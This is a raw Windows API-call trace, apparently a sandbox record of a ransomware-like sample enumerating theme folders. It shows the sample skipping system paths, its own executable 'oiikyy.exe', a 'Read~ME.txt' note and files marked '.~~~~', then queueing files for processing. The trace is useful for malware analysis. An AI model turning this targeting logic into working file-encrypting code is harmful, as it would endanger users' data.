	[0077.413] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE", cAlternateFileName="")) returned 1
	[0077.413] lstrcmpiW (lpString1="BREEZE", lpString2="Windows") returned -1
	[0077.413] lstrcmpW (lpString1="BREEZE", lpString2=".") returned 1
	[0077.414] lstrcmpW (lpString1="BREEZE", lpString2="..") returned 1
	[0077.414] lstrcmpW (lpString1="BREEZE", lpString2="AppData") returned 1
	[0077.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE", lpSrch="AppData") returned 0x0
	[0077.414] lstrlenW (lpString="C:\\Windows") returned 10
	[0077.414] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE", lpString2="C:\\Windows") returned -1
	[0077.414] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0077.414] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE", lpString2="C:\\System Volume Information") returned -1
	[0077.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0077.414] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0077.498] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0077.498] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0077.498] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0077.498] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0077.498] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0077.498] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.498] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0077.498] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0077.498] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0077.498] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0077.498] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0077.498] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0077.498] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea563500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea563500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1a537, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.ELM", cAlternateFileName="")) returned 1
	[0077.499] lstrcmpiW (lpString1="BREEZE.ELM", lpString2="Windows") returned -1
	[0077.499] lstrcmpW (lpString1="BREEZE.ELM", lpString2="oiikyy.exe") returned -1
	[0077.499] StrStrW (lpFirst="BREEZE.ELM", lpSrch=".~~~~") returned 0x0
	[0077.499] lstrcmpW (lpString1="BREEZE.ELM", lpString2="Read~ME.txt") returned -1
	[0077.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab2d0
	[0077.499] GetCurrentThreadId () returned 0x618
	[0077.499] RtlWakeConditionVariable () returned 0x365f48
	[0077.499] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.INF", cAlternateFileName="")) returned 1
	[0077.499] lstrcmpiW (lpString1="BREEZE.INF", lpString2="Windows") returned -1
	[0077.499] lstrcmpW (lpString1="BREEZE.INF", lpString2="oiikyy.exe") returned -1
	[0077.499] StrStrW (lpFirst="BREEZE.INF", lpSrch=".~~~~") returned 0x0
	[0077.499] lstrcmpW (lpString1="BREEZE.INF", lpString2="Read~ME.txt") returned -1
	[0077.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab2d0
	[0077.499] GetCurrentThreadId () returned 0x618
	[0077.499] RtlWakeConditionVariable () returned 0x365f48
	[0077.499] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0077.499] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0077.499] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0077.499] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0077.499] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0077.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab2d0
	[0077.500] GetCurrentThreadId () returned 0x618
	[0077.500] RtlWakeConditionVariable () returned 0x365f48
	[0077.500] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0077.500] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0077.500] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0077.500] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0077.500] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0077.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab2d0
	[0077.500] GetCurrentThreadId () returned 0x618
	[0077.500] RtlWakeConditionVariable () returned 0x365f48
	[0077.500] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0077.500] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0077.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab2d0
	[0077.500] GetCurrentThreadId () returned 0x618
	[0077.500] RtlWakeConditionVariable () returned 0x365f48
	[0077.502] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON", cAlternateFileName="")) returned 1
	[0077.502] lstrcmpiW (lpString1="CANYON", lpString2="Windows") returned -1
	[0077.502] lstrcmpW (lpString1="CANYON", lpString2=".") returned 1
	[0077.502] lstrcmpW (lpString1="CANYON", lpString2="..") returned 1
	[0077.502] lstrcmpW (lpString1="CANYON", lpString2="AppData") returned 1
	[0077.502] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON", lpSrch="AppData") returned 0x0
	[0077.502] lstrlenW (lpString="C:\\Windows") returned 10
	[0077.502] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON", lpString2="C:\\Windows") returned -1
	[0077.502] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0077.502] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON", lpString2="C:\\System Volume Information") returned -1
	[0077.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0077.503] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0077.596] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0077.603] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0077.603] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0077.603] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0077.603] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0077.603] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.603] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0077.603] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0077.603] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0077.603] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0077.603] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0077.603] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0077.603] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb876200, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb876200, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.ELM", cAlternateFileName="")) returned 1
	[0077.603] lstrcmpiW (lpString1="CANYON.ELM", lpString2="Windows") returned -1
	[0077.603] lstrcmpW (lpString1="CANYON.ELM", lpString2="oiikyy.exe") returned -1
	[0077.604] StrStrW (lpFirst="CANYON.ELM", lpSrch=".~~~~") returned 0x0
	[0077.604] lstrcmpW (lpString1="CANYON.ELM", lpString2="Read~ME.txt") returned -1
	[0077.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab768
	[0077.604] GetCurrentThreadId () returned 0x618
	[0077.604] RtlWakeConditionVariable () returned 0x365f48
	[0077.604] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.INF", cAlternateFileName="")) returned 1
	[0077.604] lstrcmpiW (lpString1="CANYON.INF", lpString2="Windows") returned -1
	[0077.604] lstrcmpW (lpString1="CANYON.INF", lpString2="oiikyy.exe") returned -1
	[0077.604] StrStrW (lpFirst="CANYON.INF", lpSrch=".~~~~") returned 0x0
	[0077.604] lstrcmpW (lpString1="CANYON.INF", lpString2="Read~ME.txt") returned -1
	[0077.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab768
	[0077.604] GetCurrentThreadId () returned 0x618
	[0077.604] RtlWakeConditionVariable () returned 0x365f48
	[0077.604] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0077.604] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0077.604] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0077.604] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0077.604] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0077.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab768
	[0077.604] GetCurrentThreadId () returned 0x618
	[0077.604] RtlWakeConditionVariable () returned 0x365f48
	[0077.604] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0077.604] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0077.605] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0077.605] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0077.605] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0077.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab768
	[0077.605] GetCurrentThreadId () returned 0x618
	[0077.605] RtlWakeConditionVariable () returned 0x365f48
	[0077.605] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0077.605] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0077.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab768
	[0077.605] GetCurrentThreadId () returned 0x618
	[0077.605] RtlWakeConditionVariable () returned 0x365f48
	[0077.607] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES", cAlternateFileName="")) returned 1
	[0077.607] lstrcmpiW (lpString1="CAPSULES", lpString2="Windows") returned -1
	[0077.607] lstrcmpW (lpString1="CAPSULES", lpString2=".") returned 1
	[0077.607] lstrcmpW (lpString1="CAPSULES", lpString2="..") returned 1
	[0077.607] lstrcmpW (lpString1="CAPSULES", lpString2="AppData") returned 1
	[0077.607] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES", lpSrch="AppData") returned 0x0
	[0077.607] lstrlenW (lpString="C:\\Windows") returned 10
	[0077.607] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES", lpString2="C:\\Windows") returned -1
	[0077.607] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0077.607] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES", lpString2="C:\\System Volume Information") returned -1
	[0077.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0077.607] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0077.629] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0077.629] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0077.629] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0077.629] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0077.629] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0077.630] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.630] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0077.630] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0077.630] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0077.630] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0077.630] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0077.630] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0077.630] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb88f00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb88f00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.ELM", cAlternateFileName="")) returned 1
	[0077.630] lstrcmpiW (lpString1="CAPSULES.ELM", lpString2="Windows") returned -1
	[0077.630] lstrcmpW (lpString1="CAPSULES.ELM", lpString2="oiikyy.exe") returned -1
	[0077.630] StrStrW (lpFirst="CAPSULES.ELM", lpSrch=".~~~~") returned 0x0
	[0077.630] lstrcmpW (lpString1="CAPSULES.ELM", lpString2="Read~ME.txt") returned -1
	[0077.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5240
	[0077.630] GetCurrentThreadId () returned 0x618
	[0077.630] RtlWakeConditionVariable () returned 0x365f48
	[0077.630] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf86a7300, ftCreationTime.dwHighDateTime=0x1c47827, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf86a7300, ftLastWriteTime.dwHighDateTime=0x1c47827, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.INF", cAlternateFileName="")) returned 1
	[0077.630] lstrcmpiW (lpString1="CAPSULES.INF", lpString2="Windows") returned -1
	[0077.630] lstrcmpW (lpString1="CAPSULES.INF", lpString2="oiikyy.exe") returned -1
	[0077.630] StrStrW (lpFirst="CAPSULES.INF", lpSrch=".~~~~") returned 0x0
	[0077.630] lstrcmpW (lpString1="CAPSULES.INF", lpString2="Read~ME.txt") returned -1
	[0077.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5240
	[0077.630] GetCurrentThreadId () returned 0x618
	[0077.631] RtlWakeConditionVariable () returned 0x365f48
	[0077.631] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0077.631] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0077.631] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0077.631] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0077.631] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0077.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5240
	[0077.631] GetCurrentThreadId () returned 0x618
	[0077.631] RtlWakeConditionVariable () returned 0x365f48
	[0077.631] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0077.631] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0077.631] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0077.631] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0077.631] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0077.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5240
	[0077.631] GetCurrentThreadId () returned 0x618
	[0077.631] RtlWakeConditionVariable () returned 0x365f48
	[0077.631] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0077.631] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0077.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5240
	[0077.632] GetCurrentThreadId () returned 0x618
	[0077.632] RtlWakeConditionVariable () returned 0x365f48
	[0077.633] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE", cAlternateFileName="")) returned 1
	[0077.633] lstrcmpiW (lpString1="CASCADE", lpString2="Windows") returned -1
